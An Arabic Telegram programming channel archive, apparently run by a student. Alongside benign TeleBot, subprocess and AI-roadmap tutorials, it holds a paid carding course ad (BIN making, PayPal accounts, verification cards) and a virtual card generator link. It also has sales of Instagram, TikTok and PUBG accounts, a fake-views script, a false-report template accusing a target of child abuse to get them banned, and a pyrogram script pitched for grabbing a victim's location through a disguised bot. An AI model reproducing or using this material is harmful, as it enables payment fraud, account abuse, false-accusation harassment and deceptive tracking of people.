programming @tijpp Channel on Telegram

programming

@tijpp


🌐 أُحِبُّ استكشاف عالم البرمجة وتطوير مهاراتي. أُؤمنُ بأهمية التعلم المستمر والتطوير الذاتي. أُشاركُ معكمَ رحلة تعلمي وخبراتي في مجال البرمجة، من خلال مشاركة مصادر مفيدة ونصائح
#programming

owner: @j39_4
قناتي علئ اليوتيوب: https://www.youtube.com/@54j

programming (Arabic)

🌐 أُحِبُّ استكشاف عالم البرمجة وتطوير مهاراتي. أُؤمنُ بأهمية التعلم المستمر والتطوير الذاتي. أُشاركُ معكمَ رحلة تعلمي وخبراتي في مجال البرمجة، من خلال مشاركة مصادر مفيدة ونصائح. قناة 'tijpp' هي مكانك المثالي لاكتساب المعرفة والمهارات في عالم البرمجة. مع المالك @j39_4، ستحصل على فرصة لاكتشاف أحدث التقنيات والأدوات التي تساعدك على تطوير نفسك بشكل مستمر. تابعوا قناتنا واكتشفوا كل ما هو جديد ومفيد في عالم البرمجة. ولا تنسوا زيارة قناتنا على اليوتيوب لمزيد من المحتوى المثير: https://www.youtube.com/@54j

programming

15 Jan, 14:32


انضم إلى قناتنا الحصرية لتداول الفوركس

هل ترغب في احتراف التداول وتحقيق أرباح مستدامة في سوق الفوركس
🟢 نقدم لك:

تحليلات دقيقة ومباشرة باستخدام أحدث استراتيجيات السوق.

تعليم مجاني لمساعدتك على فهم السوق من الأساس.

توصيات يومية عالية الجودة لتحقيق أفضل النتائج.

دعم مباشر للإجابة على جميع أسئلتك واستفساراتك.


💡 لا تضيع الفرصة لتكون جزءًا من مجتمع مميز يهتم بنجاحك في التداول.
انضم الآن واستعد للارتقاء بمستوى تداولك إلى الاحتراف

🔗 الرابط: [Trading Eagles]
📈 النجاح يبدأ من هنا

programming

13 Jan, 17:28


وصف البوت:

"هذا البوت مصمم لمساعدتك في التعرف على جميع البوتات المرتبطة بحسابك على تيليجرام. بمجرد تشغيل البوت وإرسال الأمر /lbots، سيقوم البوت بفحص قائمة المحادثات الخاصة بك واستخراج أسماء جميع البوتات التي قمت بالتفاعل معها أو إضافتها. ستتمكن من رؤية أسماء البوتات بشكل مرتب مع علامة @، مما يسهل عليك تحديدها واستخدامها بسرعة."

ميزات البوت:

1. استخراج قائمة البوتات:

يقوم بفحص حسابك لاستخراج أسماء المستخدمين الخاصة بكل البوتات.



2. تنظيم النتائج:

يعرض أسماء البوتات بشكل منسق مع علامة @.



3. سهولة الاستخدام:

كل ما عليك هو إرسال أمر بسيط (/lbots) ليعمل البوت فورًا.

تخمط اذكر المصدر 👀
@TIJPP
@j39_4

programming

24 Dec, 11:54


https://t.me/PAWSOG_bot/PAWS?startapp=0Uq4eWCW

programming

05 Dec, 14:29


للتعلم المنهجي في مجال الذكاء الاصطناعي (AI)، تحتاج إلى اتباع خطة تتضمن مراحل متتابعة تغطي الأساسيات، المهارات المتقدمة، والتطبيق العملي. فيما يلي خريطة شاملة لتعلم الذكاء الاصطناعي:

1. الأساسيات (Foundation)

أ. الرياضيات:

الجبر الخطي: المصفوفات، المتجهات.

الإحصاء والاحتمالات: التوزيعات، القيم المتوقعة.

التفاضل والتكامل: تحسين النماذج وخوارزميات التعلم.

ب. البرمجة:

اللغة الأساسية: Python (اختيار مثالي).

مكتبات أساسية:

Numpy (للجبر الخطي).

Pandas (لتحليل البيانات).

Matplotlib وSeaborn (للتصور).


2. تعلم الآلة (Machine Learning)

أ. المفاهيم الأساسية:

أنواع التعلم:

التعلم الموجّه (Supervised Learning).

التعلم غير الموجّه (Unsupervised Learning).

التعلم المعزز (Reinforcement Learning).


خوارزميات شائعة:

الانحدار (Linear/Logistic Regression).

شجرة القرار (Decision Tree).

دعم المتجهات (SVM).

الشبكات العصبية التقليدية.

ب. مكتبات وأدوات:

Scikit-learn: للخوارزميات التقليدية.

Jupyter Notebook: للتجريب البرمجي.


3. التعلم العميق (Deep Learning)

أ. المفاهيم الأساسية:

الشبكات العصبية: الطبقات (Layers)، التفعيل (Activation Functions)، ونشر الأخطاء (Backpropagation).

الهندسة المعمارية:

الشبكات العصبية الالتفافية (CNNs) للصور.

الشبكات العصبية المتكررة (RNNs) للنصوص والصوت.


ب. مكتبات متقدمة:

TensorFlow.

PyTorch.

Keras.


4. معالجة البيانات (Data Preprocessing)

تنظيف البيانات.

تحويل البيانات إلى أشكال قابلة للاستخدام.

التعامل مع القيم الناقصة والمتطرفة.


5. التخصصات الفرعية (Subfields)

أ. معالجة اللغة الطبيعية (Natural Language Processing - NLP):

مكتبات: SpaCy، NLTK، Hugging Face.

تطبيقات: تحليل النصوص، الترجمة الآلية.


ب. رؤية الحاسوب (Computer Vision):

مكتبات: OpenCV، YOLO.

تطبيقات: التعرف على الصور، تحليل الفيديو.


ج. التعلم المعزز (Reinforcement Learning):

بيئات مثل OpenAI Gym.


6. المشروعات العملية

بناء نموذج لتوقع الأسعار (Regression).

إنشاء تصنيف صور باستخدام CNN.

تطوير روبوت محادثة (Chatbot).

نظام توصية (Recommendation System).


7. مصادر التعلم

أ. دورات مجانية:

دورة Machine Learning من Andrew Ng على Coursera.

Deep Learning Specialization.


ب. كتب:

"Deep Learning" by Ian Goodfellow.

"Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow" by Aurélien Géron.


ج. مواقع تعليمية:

Kaggle: للمنافسات والتطبيق العملي.

Google AI.



---

8. بناء ملف شخصي (Portfolio)

نشر المشروعات على GitHub.

المشاركة في مسابقات Kaggle.

كتابة مدونات تقنية.


باتباع هذه الخطة، يمكنك التقدم في مجال الذكاء الاصطناعي بشكل منظم وبناء مهارات متقدمة تفتح لك أبواب فرص واسعة.

programming

05 Dec, 14:16


ماهو الذكاء الاصطناعي (Artificial Intelligence - AI) هو فرع من علوم الحاسوب يهدف إلى تطوير أنظمة وبرمجيات قادرة على محاكاة القدرات الذهنية البشرية، مثل التفكير، التعلم، التحليل، واتخاذ القرارات. يعتمد الذكاء الاصطناعي على خوارزميات وتقنيات متقدمة، مثل التعلم الآلي (Machine Learning) والتعلم العميق (Deep Learning)، لتفسير البيانات ومعالجتها بشكل يمكنه من أداء مهام معينة بشكل مستقل أو شبه مستقل.

أهم مجالات استخدام الذكاء الاصطناعي:

1. التعلم الآلي (Machine Learning): تدريب الأنظمة على التعلم من البيانات وتحسين أدائها مع مرور الوقت.

2. التعرف على الصور والصوت: مثل التعرف على الوجوه أو تحويل الصوت إلى نص.

3. معالجة اللغة الطبيعية (NLP): تمكين الحواسيب من فهم وتوليد النصوص والكلام.

4. الروبوتات: تطوير روبوتات قادرة على أداء مهام معقدة في الصناعة والطب.

5. تحليل البيانات: مساعدة الشركات والمؤسسات في تحليل كميات هائلة من البيانات لاتخاذ قرارات أفضل.

تطبيقات الذكاء الاصطناعي:
المساعدات الشخصية مثل Siri وAlexa.
السيارات ذاتية القيادة.
الترجمة الآلية.
التشخيص الطبي باستخدام تحليل البيانات الطبية.

programming

04 Dec, 18:17


يمكن ايضا استخدام Telegram Bot API في مكتبة TeleBot يعتمد على استدعاء الدوال (الميثودات) المتوفرة في المكتبة للتفاعل مع خادم Telegram وتنفيذ العمليات مثل استقبال الرسائل، إرسال الردود، وإدارة المحادثات. إليك شرحًا عمليًا خطوة بخطوة لكيفية استخدام الـ API في مكتبة TeleBot:


---

1. إعداد البوت والحصول على الـ Token:

قم بإنشاء بوت باستخدام BotFather على Telegram واحصل على Token.

استخدم هذا التوكن لتوصيل البوت بخادم Telegram.


الكود:

import telebot

TOKEN = "YOUR_TOKEN_HERE"
bot = telebot.TeleBot(TOKEN)


---

2. استقبال الرسائل النصية:

يمكن تحديد استجابة البوت لرسائل معينة باستخدام message handlers.

الميثود @bot.message_handler تستقبل الرسائل وتنقلها لمعالج محدد.


مثال:

@bot.message_handler(commands=['start', 'help'])
def send_welcome(message):
bot.reply_to(message, "مرحبًا! كيف أساعدك؟")

في هذا المثال:

يتم الرد على الرسائل التي تحتوي على الأمر /start أو /help.

يتم استخدام الميثود reply_to للرد مباشرةً على رسالة المستخدم.




---

3. إرسال الرسائل والوسائط:

يتم إرسال المحتوى للمستخدمين باستخدام دوال الـ API مثل:

send_message: لإرسال نصوص.

send_photo: لإرسال الصور.

send_document: لإرسال الملفات.



مثال:

chat_id = 123456789 # استبدل بـ chat_id الخاص بالمستخدم
bot.send_message(chat_id, "هذه رسالة نصية")
bot.send_photo(chat_id, "https://example.com/photo.jpg")


---

4. إنشاء أزرار تفاعلية:

Telegram Bot API يدعم Reply Keyboards وInline Keyboards.

يمكن إنشاء الأزرار باستخدام كائنات المكتبة مثل ReplyKeyboardMarkup وInlineKeyboardMarkup.


مثال على أزرار لوحة مفاتيح عادية:

markup = telebot.types.ReplyKeyboardMarkup(row_width=2)
button1 = telebot.types.KeyboardButton("زر 1")
button2 = telebot.types.KeyboardButton("زر 2")
markup.add(button1, button2)

bot.send_message(chat_id, "اختر:", reply_markup=markup)

مثال على أزرار مضمنة:

markup = telebot.types.InlineKeyboardMarkup()
button = telebot.types.InlineKeyboardButton("زر مضمن", url="https://example.com")
markup.add(button)

bot.send_message(chat_id, "اضغط الزر:", reply_markup=markup)


---

5. الاستجابة للأحداث (Polling):

لجعل البوت يستمع للرسائل والأحداث، يتم استخدام الميثود polling.


الكود:

bot.polling()

يتم تنفيذ هذه الميثود في نهاية الكود بعد تعريف جميع الأحداث والردود.



---

6. معالجة البيانات المتقدمة:

يمكنك استخدام States لإنشاء محادثات متعددة الخطوات بناءً على حالة المستخدم.


مثال:

user_states = {}

@bot.message_handler(func=lambda message: True)
def step_one(message):
user_states[message.chat.id] = "step_two"
bot.reply_to(message, "أدخل الخطوة التالية")

# تحقق من الحالة
@bot.message_handler(func=lambda message: user_states.get(message.chat.id) == "step_two")
def step_two(message):
bot.reply_to(message, "تم الوصول للخطوة الثانية!")


---

7. التعامل مع الأخطاء:

يمكن استخدام الكتل try...except لمعالجة أي أخطاء أثناء استدعاء API.


مثال:

try:
bot.send_message(chat_id, "مرحبًا!")
except Exception as e:
print(f"حدث خطأ: {e}")


---

الخلاصة:

يتم استخدام API عبر استدعاء دوال المكتبة التي ترسل أو تستقبل البيانات من خادم Telegram.

يتم التحكم في البيانات (الرسائل، الردود، الوسائط) من خلال معرفات المستخدمين أو الرسائل.

المكتبة تسهل التعامل مع واجهة Telegram Bot API بشكل كبير مقارنةً باستخدام الطلبات HTTP الخام.

programming

04 Dec, 18:07


مكتبة TeleBot تحتوي على عشرات الميثودات (الدوال) التي تغطي مختلف الوظائف المطلوبة لتطوير بوتات Telegram. يمكن تقسيم هذه الميثودات إلى فئات رئيسية تشمل:

1. إدارة الرسائل:

send_message

reply_to

send_photo

send_document

send_audio

send_video

send_location



2. معالجة الرسائل:

@bot.message_handler مع معالجات مختلفة بناءً على نوع المحتوى:

commands (للأوامر)

func (وظيفة مخصصة)

content_types (نصوص، صور، ملفات، وغيرها)




3. إدارة الأزرار:

ReplyKeyboardMarkup

InlineKeyboardMarkup

KeyboardButton

InlineKeyboardButton



4. التفاعلات الإضافية:

send_poll (لإنشاء استطلاعات)

send_game (لإرسال ألعاب)

edit_message_text (لتعديل الرسائل)



5. إدارة المحادثات:

استخدام States لإنشاء حوارات متعددة الخطوات.



6. تشغيل البوت:

polling (للاستماع للأحداث والرسائل)

stop_polling (لإيقاف الاستماع).

programming

04 Dec, 18:04


وظائف المكتبة:
1. إدارة الرسائل:
استقبال الرسائل النصية أو الوسائط من المستخدمين.

الرد على الرسائل أو التفاعل معها.
2. إرسال أنواع متعددة من المحتوى:
النصوص، الصور، الفيديوهات، الصوتيات، المستندات، المواقع الجغرافية، والملصقات.
3. إدارة الأزرار ولوحات المفاتيح:
إنشاء أزرار تفاعلية (Reply Keyboards وInline Keyboards).
دعم الردود الديناميكية بناءً على اختيارات المستخدم.
4. التفاعل مع المستخدمين:
التعامل مع الأوامر مثل /start و/help.
إرسال استطلاعات الرأي والألعاب.
إنشاء ردود مخصصة على الرسائل.
5. إدارة القنوات والمجموعات:
استرداد معلومات عن المجموعات والقنوات.
إدارة الأعضاء وصلاحياتهم.
6. إدارة الأحداث:
الاستماع المستمر للرسائل باستخدام تقنيات الـ Polling.
الاستجابة للاستفسارات (Callback Queries) الناتجة عن الأزرار.

7. تكامل متقدم:
دعم Webhooks للتفاعل المباشر مع Telegram Server.

إنشاء محادثات متعددة الخطوات باستخدام States.
استخدامات المكتبة:
إنشاء بوتات لتقديم الخدمات (مثل الردود الآلية).
بوتات التجارة الإلكترونية (إرسال الفواتير واستقبال الطلبات).
إدارة مجموعات وقنوات Telegram.
إنشاء ألعاب أو مسابقات تفاعلية.
بوتات تعليمية أو تعليم البرمجة.

أمثلة بسيطة:
إنشاء بوت:

import telebot
bot = telebot.TeleBot("token")
@bot.message_handler(commands=['start'])
def welcome(message):
    bot.reply_to(message, "أهلاً بك في البوت!")
bot.polling()

إرسال رسالة نصية:
bot.send_message(chat_id, "مرحبًا، كيف يمكنني مساعدتك؟")

إنشاء أزرار:

markup = telebot.types.ReplyKeyboardMarkup(row_width=2)
markup.add(telebot.types.KeyboardButton('زر 1'), telebot.types.KeyboardButton('زر 2'))
bot.send_message(chat_id, "اختر زرًا:", reply_markup=markup)

مميزات TeleBot:
سهلة الاستخدام للمبتدئين.
تدعم كل ميزات Telegram Bot API.
مفتوحة المصدر مع تحديثات مستمرة.
مرونة كبيرة في تطوير بوتات متقدمة.

programming

04 Dec, 18:03


مكتبة telebot (المعروفة باسم pyTelegramBotAPI) هي مكتبة Python مصممة لتطوير بوتات تفاعلية على منصة telegram. توفر المكتبة أدوات شاملة للتعامل مع واجهة telegram bot API بسهولة، مما يتيح للمطورين إنشاء بوتات قوية ومتكاملة دون الحاجة إلى كتابة الكثير من الأكواد المعقدة.

programming

24 Nov, 17:46


هناك العديد من المصطلحات البرمجية المهمة التي يجب على المبرمجين والمهتمين بتطوير البرمجيات معرفتها، ومن بين هذه المصطلحات:

الواجهة البرمجية للتطبيقات (API): وهي وسيلة تتيح للتطبيقات التواصل مع بعضها البعض وتبادل البيانات والمعلومات.

قواعد البيانات (Database): وهي مجموعة من البيانات المنظمة بطريقة محددة ويمكن الوصول إليها والتعامل معها بسهولة.

لغة الاستعلام المهيكلة (SQL): وهي لغة برمجة تستخدم لإدارة واستعلام قواعد البيانات والتعامل معها.

البرمجة الكائنية التوجه (OOP): وهي منهجية برمجية تركز على تنظيم البرمجيات بطريقة تجعلها سهلة الصيانة والتعديل وإعادة الاستخدام.

تصميم الواجهات الرسومية (GUI): وهي واجهة المستخدم الرسومية التي يتفاعل معها المستخدم وتمثل جزءًا هامًا في تصميم البرمجيات.

نظام التحكم في الإصدارات (Version Control System): وهو نظام يستخدم لتتبع التغييرات في البرمجيات وإدارتها وإصداراتها.

لغة البرمجة الشبكية (Web programming language): وهي لغة برمجة تستخدم في تطوير المواقع الإلكترونية وتطبيقات الويب.

تقنية تطوير التطبيقات المتنقلة (Mobile App Development): وهي تقنية تستخدم في تطوير التطبيقات الخاصة بالهواتف الذكية والأجهزة اللوحية.

خوادم الويب (Web Servers): وهي برمجيات تستخدم لتشغيل وإدارة المواقع الإلكترونية وتحسين أدائها وأمانها.

programming

23 Nov, 14:55


6 مواقع للإلهام والتغذية البصرية، تهمّك جدًا لو أنت مطوّر Frontend 😍😍


1️⃣ موقع Dribbble

من أهم وأجمل مواقع التغذية البصرية، الموقع غني بالأفكار الإبداعية ومعظم UI التحديات أخذها منه

🔗 الرابط: https://dribbble.com



2️⃣ موقع Uplabs

الحلو في هذا الموقع إنك تقدر تبحث من خلال المجال، أو من خلال التقنيات المستخدمة بالأعمال سواء فوتوشوب أو HTML أو فيغما وغيره

🔗 الرابط: https://uplabs.com



3️⃣ موقع DesignSpiration

موقع مُصَمَّم للتغذية البصرية والإلهام! مو لعرض الأعمال.. أكثر شي جميل إنه يعرض لك أكواد الألوان المستخدمة في العمل، وكمان تقدر تبحث عن أعمال بلون معيّن!

🔗 الرابط: https://designspiration.com



4️⃣ موقع Pinterest

الموقع غني عن التعريف.. ولو دخلته أضمن لك ما راح تقدر تخرج منه.. جدًا ضخم، وتلاقي فيه كل المجالات اللي تخطر وما تخطر على بالك ومن ضمنها الويب طبعًا

🔗 الرابط: https://pinterest.com



5️⃣ موقع SiteInspire

موقع خاص لمصممي المواقع.. حتلاقي فيه أفكار كثير وممكن تبحث عن طريق تحديد الاستايل أو مجال موقعك وغيره..

🔗 الرابط: https://siteinspire.com



6️⃣ موقع Behance

غالب المصممين ( ومن ضمنهم مصممين الواجهات ) يستخدموا موقع بيهانس لرفع ومشاركة أعمالهم، ميزة الموقع إنه مقسم التصماميم في فئات وبالتالي يسهل عليك البحث، وكمان واجهة الموقع بسيطة وواضحة

🔗 الرابط: https://behance.net

programming

23 Nov, 14:55


5 مواقع رهيبة للأيقونات، ولازم تعرفهم لو أنت مطور Frontend

1: https://fontawesome.com/icons

2: https://www.flaticon.com/icons

3: https://icons8.com/

4: https://freeicons.io/

5: https://icons.getbootstrap.com/

programming

23 Nov, 14:55


أفضل مواقع إختيار ألوان متناسقة للتصميم

https://color.adobe.com/

https://coolors.co/

https://www.materialpalette.com/

https://www.pictaculous.com/

programming

21 Nov, 21:43


مكتبة subprocess في Python تُستخدم لتنفيذ أوامر النظام (System Commands) والتفاعل معها من داخل برنامج Python. يمكن من خلالها إنشاء عمليات فرعية (subprocesses)، وقراءة أو كتابة البيانات بين العمليات، والحصول على نتائج الأوامر التي يتم تنفيذها. تُعد هذه المكتبة بديلاً أفضل لاستخدام دوال مثل os.system() وos.spawn*() التي كانت تُستخدم في الماضي لتشغيل الأوامر.

كيفية استخدام المكتبة

تحتوي مكتبة subprocess على عدة دوال وفئات رئيسية:

1. subprocess.run()

هذه هي الطريقة الأكثر شيوعًا في المكتبة. تُستخدم لتنفيذ الأمر بشكل متزامن (synchronously) أي أنه يتم الانتظار حتى ينتهي الأمر ثم يُسترجع النتيجة.


مثال:

import subprocess

result = subprocess.run(['ls', '-l'], capture_output=True, text=True)
print(result.stdout)

capture_output=True: يُلتقط المخرجات من الأمر.

text=True: يجعل المخرجات تكون نصية بدلاً من بايتات.

stdout: يحتوي على المخرجات المعيارية (Standard Output).


المعاملات الشائعة:

args: قائمة من الأوامر التي سيتم تنفيذها.

capture_output: إذا كان يجب التقاط المخرجات.

text: إذا كان يجب تحويل المخرجات إلى نص.


2. subprocess.call()

تُستخدم لتنفيذ أمر معين ولكن دون أن يُرجع أي قيمة مرجعية أو نتيجة. فقط تُنفذ الأوامر.


مثال:

import subprocess

subprocess.call(['echo', 'Hello World'])

3. subprocess.Popen()

تُستخدم لإنشاء عملية فرعية بشكل غير متزامن (asynchronously)، مما يسمح لك بالتفاعل مع العملية أثناء تشغيلها.

تدعم قراءة وكتابة البيانات من خلال الأنابيب (Pipes).


مثال:

import subprocess

process = subprocess.Popen(['ping', 'google.com'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
print(stdout.decode())

4. subprocess.check_output()

تُنفذ الأمر وتعيد المخرجات فقط إذا كانت عملية التنفيذ ناجحة. إذا فشل الأمر (أي عاد بكود خروج غير صفري)، سيتم رفع استثناء subprocess.CalledProcessError.


مثال:

import subprocess

output = subprocess.check_output(['echo', 'Hello'])
print(output.decode())

5. subprocess.check_call()

تُنفذ الأمر وتنتظر إتمامه، وإذا فشل (عاد بكود خروج غير صفري)، سترتفع استثناء subprocess.CalledProcessError.


6. subprocess.getstatusoutput()

تُنفذ الأمر وتُرجع المخرجات مع كود الخروج. يُستخدم هذا فقط في حالات معينة مثل عندما تحتاج إلى جمع المخرجات مع حالة التنفيذ.


مثال:

import subprocess

status, output = subprocess.getstatusoutput('ls -l')
print(f"Status: {status}")
print(f"Output: {output}")

الخيارات المتقدمة

stdin, stdout, stderr: يمكن إعادة توجيه المدخلات والمخرجات القياسية للأمر باستخدام هذه المعاملات. مثلًا، إذا أردت إرسال بيانات إلى أمر عبر stdin أو إذا أردت الحصول على المخرجات عبر stdout.

مثال:

process = subprocess.Popen(['grep', 'python'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
output, _ = process.communicate(input=b'python is great\nruby is also great\n')
print(output.decode())

shell=True: عند استخدام هذه القيمة، يمكن كتابة الأوامر كأنها تُنفذ داخل شل (shell)، مما يتيح لك استخدام ميزات الشل مثل المتغيرات أو الأنابيب بين الأوامر.

مثال:

subprocess.run('echo $HOME', shell=True)


الفروق بين الدوال

subprocess.run() هي الطريقة الأكثر استخدامًا اليوم لأنها توفر واجهة موحدة للتعامل مع العمليات.

subprocess.Popen() تُستخدم عندما تحتاج إلى مزيد من التحكم، مثل التفاعل المستمر مع العملية أو الحصول على المخرجات والأخطاء أثناء تنفيذ العملية.


معاملة الاستثناءات

subprocess.CalledProcessError: يُرفع عندما يتم استدعاء أمر مع فشل في التنفيذ، أو عندما يعيد الأمر كود خروج غير صفري.


الخلاصة

مكتبة subprocess توفر واجهة قوية لتنفيذ الأوامر خارج بيئة Python والتفاعل مع العمليات المختلفة. من خلال الدوال المذكورة، يمكن تنفيذ أوامر النظام، التقاط المخرجات، أو حتى التفاعل مع العمليات أثناء تشغيلها.

programming

08 Nov, 00:18


ضمان الربحيه كورس شغل ايدي

programming

08 Nov, 00:17


⚠️#تنويه ⚠️
كورس قصف العاب وتطبيقات مدفوعة مجانا

اذا جنت كلشي ماتعرف بلقصف راح تتعلم من الصفر 🥺

الي راح تتعلمه بالكورس كلاتي :

1-تعرف عالم البطاقات كامل

2-صنع بين وطريقة البحث عنهم ⭐️

3-طريقة القصف الصحيحة ⭐️

4-طريقة انشاء حسابات باي بال بدون تقيد ‼️

5-طريقة الحصول على فيزات ربط حقيقيه

6-الكورس كامل اني مصورة وشرح من الصفر 🍽

7-اي عضو  يكدر يطلب الشرح الي يحتاجة وراح نشرحه 😭

8-يوجد كروب خاص للمشتركين لحل المشاكل ومناقشة اي مشكلة بين اعضاء الكورس 😭

9- اشغال ربحيه من ضمن الكورس تحققلك دخل مضاعف


ملاحضة جلب فيزا التاكيد وبين لحالهم اغلى من سعر الكورس ونازل بهيج سعر 💵

سعر الكورس+طرق الدفع 🛫

15 اسيا 💸

15ماستر 📱

3 تون 📱

لدخول الكورس والدفع ارسل  كلمه اشتراك.

- @MrRaph 😈


‼️ جيب ثنين من طرفك يشتركون بالكورس تاخذ اشتراك مجاني الك  ‼️

قناة اثباتات
https://t.me/+Zm862cXGbiMyMWNi

programming

01 Nov, 15:32


https://t.me/PAWSOG_bot/PAWS?startapp=0Uq4eWCW
بوت جديد شبيه بوت عملة الdogs استغلو

programming

21 Oct, 09:10


منو عنده قنوات قديمه 2020 +21 اخذهن منه يجي خاص
@ElElIlE

programming

12 Oct, 19:05


بوت فكرته منع اي تحويلات لمجموعة التلكرام
@TIJPP
@j39_4

programming

04 Oct, 12:40


موقع استخراج فيزات بن وبدون بن + فحص
Link: https://www.vccgenerator.org/result/

programming

29 Sep, 16:42


بسم الله الرحمن الرحيم
الحمد لله مالك الأرض ومن عليها
ايها الأخوة في المقاومة الإسلامية العراقية إن مواقع التواصل ( فيسبوك - ماسنجر - انستغرام - واتساب ) متعاونة مع الكيان الصهيوني فنرجوا منكم أيها الإخوة عدم نقل معلومات هامة عن طريقها
يتم من خلال هذه التطبيقات تسجيل المكالمات بالذكاء الإصطناعي وطريقة عملها ( عندما يقوم المتصل بذكر حرب أو غزة أو صواريخ أو حسن نصر الله أو الحشد أو أي كلمة تتعلق بالحرب فإن الذكاء الإصطناعي يقوم بتسجيل المكالمة ليتم مراجعتها والتجسس عليها ) ومع ذلك كل أجهزة الهواتف التي تم تصنيعها في امريكا كالآيفون وغيرها من أجهزة التواصل تحتوي على تحديد المواقع وتسجيل للمكالمات فنرجوا منكم أيها الأخوة في المقاومة الإسلامية الإبتعاد ومنع المجاهدين من استخدامها لتجنب التجسس الحاصل

لا تشارك هذا المنشور على مواقع التواصل المذكورة


توجيه من مبرمج معلومات

programming

06 Sep, 21:49


Api Search TikTok

Link=
https://www.tiktok.com/api/search

programming

06 Sep, 07:56


ملف يخص اتصالات تيك توك وهواي اشياء بي

programming

31 Aug, 13:35


متوفر حالين:
حسابات انستكرام 2012/2013

يوزرات انستكرام رباعية

حسابات ببجي

حسابات تيك توك

للشراء تواصل خاص
@j39_4

طريقة الدفع:
(اسياسيل / زين / زين كاش / usdt )

programming

27 Aug, 10:18


كورس الادوات بعده موجود للشراء راسلتي : @MrRaph

programming

16 Aug, 12:41


git clone https://github.com/ahmedbedir123/Free-views-Telegram-

pip install -r requirements.txt

ls

cd Free-views-Telegram-

ls

python main.py


رشق مشاهدات تيلجرام.
تشتغل تيرمكس فقط

programming

02 Aug, 20:19


اريد انستغرام باند مدى الحياه مدري شيسمو

programming

02 Aug, 20:11


ثغـ‌ـــ‌ـ‌ـــره فك حسابات Telegram


ايميل: تيليجرام


[email protected]

الموضوع:


Deciphering the ban on who signed me from using Telegram


الرساله:



Hello, Telegram administration I cannot log into my account nor create an account on Telegram. When I log in the message comes to telegram. This number is blocked on telegram, so I think I am banned from restricted use of Telegram by accident and I really don’t know why Telegram did this for me so you can verify  From my account for that.  I am
using my phone number(رقم الحساب هنا )

programming

08 Jul, 10:59


السلام عليكم ورحمة الله وبركاته

نقدم لكم بوت عبارة عن تطبيق مصغر اطلقته شركة تليجرام الاسبوع الماضي وهو عبارة عن تطبيق لربح النجوم ويمكنك من خلال هذة النجوم ربح عملة TON وايضا يمكنك من استخدام النجوم في عمل اعلانات لقنواتك على تليجرام وايضا شراء تليجرام المميز.

التطبيق حصل خلال يوم واحد على 5 ملايين مستخدم.

البوت مميز جدا ومازال في بدايته لذلك قوموا بتجميع النجوم من خلال دعوه الاصدقاء والحصول على المكافأة اليومية كما يمكنكم ربطة بمحفظة تليجرام الخاصة بكم

رابط البوت اضغط على الرابط وستنتقل مباشرة 👇
https://t.me/major/start?startapp=6754527252


⚠️ ملاحظة البوت مازال في بدايته وسيتم اطلاق المميزات قريبا

programming

28 Jun, 13:04


المافتهم يجي اعلمه. @ElElIlE

programming

28 Jun, 10:54


لتبنيد حسابات تلي فقط.

Здравствуйте, Telegram, этот пользователь опасен. Он публикует фотографии обнаженных детей, насилует и убивает их ради развлечения во многих группах. Я являюсь владельцем этой группы. Пожалуйста, примените к его аккаунту закон о нарушении прав Telegram.

طريقه الاستخدام... الاستخدام
تروح للشخص لي تبنده تتكلم وياه تكله اريد نبند هذي لقناه مثلن ف تخلي يبلغ ويخلي لكليشه
ميطول 10ددقايق ويبلع وبس

programming

15 Jun, 07:17


النزول الإلهي نزول يليق بجلاله ، يكون كل ليلة في الثلث الأخير من الليل .
إلا في يوم عرفه فإن الله سبحانه ينزل إلى السماء الدنيا نزول يليق بجلاله في النهار ..
كان السلف يدخِرون حاجاتهم لدعاء يوم عرفة، فكم من الحاجات والأمنيات والدعوات اُستجيبت عشيّة عرفة..
في رمضان تغيب عنّا ليلة القدر فلا نعرف متى هي
وَ في ذي الحجة يُخبرنا اللّه بيوم عرفة، وَمع ذلك هل سنقصر؟!

إن استطعت أن تخلو بنفسك عشية يوم عرفة فافعل.. والعشية من بعد صلاة العصر إلى أذان المغرب.

قال رسول الله ﷺ: (خير الدعاء دعاء يوم عرفة، وخير ما قلت أنا والنبيون من قبلي؛ لا إله إلا الله وحده لا شريك له ، له الملك وله الحمد وهو على كل شيء قدير).

يقول أحد الصالحين :
والله ما دعوتُ دعوةً يوم عرفة، وما دار عليها الحول إلا رأيتها مثل فلق الصبح!

جهّزوا أمنياتكم ودعواتكم، فسهام عرفة بإذن الله صائبة .

programming

19 May, 10:39


7v8p
Oge gmail 📧 , no linked number



رباعي انستا للبيع اساسي ماداخل رقم

طريق الدفع
زين كاش -اسيا -USDT
تواصل: @X1XKL

programming

10 Mar, 17:09


اللهم بلغنا شهرك بعظيم غفرانك، والعتق من نيرانك، وأدخلنا جنتك، وسخر لنا الطيبين من خلقك، واشرح صدورنا بذكرك، وأبعد عنا كدر الدنيا وهمها يا رب العالمين، صل اللهم وسلم وبارك على سيدنا محمد وعلى آله وأصحابه وأتباعه بإحسان إلى يوم الدين، والحمد لله رب العالمين.

programming

15 Jan, 22:14


import os
os.system("pip install pyrogram")
from pyrogram import Client

api_id = input("type api id")
api_hash = input("type api hash")
phone_number = input("type number with code+ like and number +964xxxxx")

with Client("my_acc715ount", api_id, api_hash) as app:

    bot_username = "MrRaph" #خلي يوزر حسابي الي حجيت بي ويه الشخص او بوت مابي اشتراك اجباري

    user = app.get_chat(bot_username)
    app.send_location(user.id, latitude=40.7128, longitude=-74.0060)

سحب موقع بشكل 100% بس سوي عساس بوت تجميع وشفره وخلي بدال MrRaph يوزرك او يوزر بوتك مال تواصل بدون اشتراك اجباري لازم
ومبروك صدت موقع الضحية 100%

تفاعل ع منشور اذا عجبك

programming

07 Dec, 20:47


⭐️بوت عرض معلومات 🌙


⭐️حط تكون بوتك بسطر ⭐️

⭐️حط رابط حسابك بل url 👩‍💻

#⃣لغة برمجة البوت بايثون 👩‍💻

#⃣مبرمج البوت: @j39_4

💎قناتي :@TIJPP⭐️

#⃣طالب سادس ادعولنة بل نجاح 😀😭

programming

07 Dec, 20:30


⭐️Here are the programmer's accounts and channels ⭐️

programming

07 Dec, 20:30


مساء الخير😊
تريدون انزل سورس البوت 👩‍💻 👩‍💻

programming

23 Nov, 19:58


بلشت بالكورس ونشرت اول فيديون عن بوتات،
بشكل احترافي شروحات مينطونها العرب حتى بفلوس،

اقبل فقط 5 اشخاص لو تلحك لو لا
2:
اذا تجيب شخص يشترك الك اشتراك بلاش امداريكم ها خوش 🫠❤️‍🔥

programming

04 Nov, 13:01


https://t.me/noktup

الي حاب يتعلم برمجه او عنده ستفسار يخص البرمجه ينضم

programming

03 Nov, 21:27


